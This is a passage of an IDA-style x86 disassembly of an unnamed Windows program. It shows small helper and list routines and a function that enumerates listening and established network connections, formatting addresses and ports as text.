; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418BB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BE0	proc near		; CODE XREF: sub_401703j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40223E
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418BE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_401438j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jz	short loc_418C6A


loc_418C28:				; CODE XREF: sub_418C10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jnz	short loc_418C28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C6A:				; CODE XREF: sub_418C10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418C10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CA0	proc near		; CODE XREF: sub_402103j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D6B
sub_418CA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_40155Aj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jz	short loc_418D1A


loc_418CD8:				; CODE XREF: sub_418CC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40216C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jnz	short loc_418CD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418D1A:				; CODE XREF: sub_418CC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C67
sub_418D50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418D65
		mov	edi, esi


loc_418D65:				; CODE XREF: ___:00418D61j
		push	esi
		call	sub_4015DC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418D7A
		mov	edi, esi


loc_418D7A:				; CODE XREF: ___:00418D76j
		push	esi
		call	sub_401B31
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418DA0	proc near		; CODE XREF: sub_40207Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013FC
sub_418DA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DC0	proc near		; CODE XREF: sub_4015DCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418DC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E00	proc near		; CODE XREF: sub_401532j
		mov	eax, ecx
		retn
sub_418E00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E20	proc near		; CODE XREF: sub_401D98j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020FE
		mov	eax, esi
		pop	esi
		retn	4
sub_418E20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E50	proc near		; CODE XREF: sub_40223Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418E50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C9E
		mov	esi, eax
		push	esi
		call	sub_401A96
		push	esi
		mov	ebx, eax
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C6C
		push	esi
		mov	ebx, eax
		call	sub_401A96
		mov	eax, [eax]
		push	eax
		call	sub_401C6C
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40176C
		push	esi
		mov	ecx, edi
		call	sub_402103
sub_418E80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F40	proc near		; CODE XREF: sub_401D6Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_418F40	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F28
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418F60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F90	proc near		; CODE XREF: sub_40216Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401EEC
		mov	esi, eax
		push	esi
		call	sub_4015DC
		push	esi
		mov	ebx, eax
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B31
		push	esi
		mov	ebx, eax
		call	sub_4015DC
		mov	eax, [eax]
		push	eax
		call	sub_401B31
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018D4
		push	esi
		mov	ecx, edi
		call	sub_40207C
sub_418F90	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401B31j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419070	proc near		; CODE XREF: sub_401C67j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_419070	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190A0	proc near		; CODE XREF: sub_4013FCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4190A0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190C0	proc near		; CODE XREF: sub_4020FEj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4190C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190E0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4190E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419110	proc near		; CODE XREF: sub_40176Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419130	proc near		; CODE XREF: sub_4018D4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419130	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419150	proc near		; CODE XREF: sub_401EECj
		mov	eax, [ecx]
		retn
sub_419150	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4191B0	proc near		; CODE XREF: sub_402121j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4191B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43F074
		call	sub_437AEA
sub_4191B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41921D
		mov	ecx, eax
		call	sub_401F2D
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41921D:				; CODE XREF: ___:004191FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419270	proc near		; CODE XREF: sub_401F2Dj
		push	0FFFFFFFFh
		push	offset SEH_419270
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_437AEA
sub_419270	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4192BE
		mov	ecx, eax
		call	sub_4015C3
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4192BE:				; CODE XREF: ___:004192A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419300	proc near		; CODE XREF: sub_4015C3j
		mov	eax, ecx
		retn
sub_419300	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419320	proc near		; CODE XREF: sub_401974j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419320
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_419320	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4193C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4193C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017EE
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419766
		push	ebp
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		call	sub_40168B
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401870
		xor	ebp, ebp
		push	offset dword_444D70
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013ED
		test	eax, eax
		jz	short loc_41946F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419489
; ---------------------------------------------------------------------------


loc_41946F:				; CODE XREF: sub_4193C0+A3j
		push	offset dword_444D6C
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_419489
		mov	[esp+2B4h+var_2A0], 1


loc_419489:				; CODE XREF: sub_4193C0+ADj
					; sub_4193C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_444D60
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419518
		mov	esi, dword_511AA8
		add	eax, 2
		push	offset dword_444D60
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_419518
		mov	ecx, [ebx+32h]
		push	offset off_444D5C
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_41974C


loc_419518:				; CODE XREF: sub_4193C0+123j
					; sub_4193C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_437F50
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419742
		lea	ebp, [esi+14h]


loc_419554:				; CODE XREF: sub_4193C0+37Cj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419568
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41972C


loc_419568:				; CODE XREF: sub_4193C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_511C5C
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40147E
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40147E
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4195CC
		sub	eax, 3
		jnz	short loc_4195F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4195D5
; ---------------------------------------------------------------------------


loc_4195CC:				; CODE XREF: sub_4193C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4195D5:				; CODE XREF: sub_4193C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4195F2:				; CODE XREF: sub_4193C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419618
		xor	ebx, ebx


loc_419618:				; CODE XREF: sub_4193C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		nop
		call	near ptr 77C3FA76h
		mov	edi, ebx
		lea	eax, [esp+2C8h+var_118]
		and	edi, 0FFFFh
		lea	ecx, [esp+2C8h+var_224]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	ecx
		call	near ptr 77C3FA76h
		nop
		add	esp, 28h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_40142E
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4196AE
		cmp	eax, 1
		jz	loc_419713
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4196A1
		cmp	eax, esi
		jnz	short loc_419713


loc_4196A1:				; CODE XREF: sub_4193C0+2DBj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4196D4
; ---------------------------------------------------------------------------


loc_4196AE:				; CODE XREF: sub_4193C0+2C7j
		cmp	eax, 2
		jz	short loc_419713
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4196C2
		cmp	eax, edi
		jnz	short loc_419713


loc_4196C2:				; CODE XREF: sub_4193C0+2FCj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_4196D4:				; CODE XREF: sub_4193C0+2ECj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_419713:				; CODE XREF: sub_4193C0+2CCj
					; sub_4193C0+2DFj ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41972C:				; CODE XREF: sub_4193C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419554


loc_419742:				; CODE XREF: sub_4193C0+18Bj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_41974C:				; CODE XREF: sub_4193C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_419768
; ---------------------------------------------------------------------------


loc_419766:				; CODE XREF: sub_4193C0+3Dj
		mov	al, 1


loc_419768:				; CODE XREF: sub_4193C0+3A4j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4193C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419890	proc near		; CODE XREF: sub_40147Ej

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		nop
		call	near ptr 77C3FA76h
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419950
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41991E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41991E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419950
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41991E:				; CODE XREF: sub_419890+5Aj
					; sub_419890+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		call	near ptr 71AB50C8h
		nop
		test	eax, eax
		pop	edi
		jnz	short loc_419950
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch


loc_419950:				; CODE XREF: sub_419890+52j
					; sub_419890+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4199A0	proc near		; CODE XREF: sub_401F0Aj
		call	near ptr 27E0B37h
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		pop	ecx
		retn
sub_4199A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4199C0	proc near		; CODE XREF: sub_4021C6j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		nop
		call	near ptr 77C371D3h
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43F0B0
		call	sub_437BDA
sub_4199C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
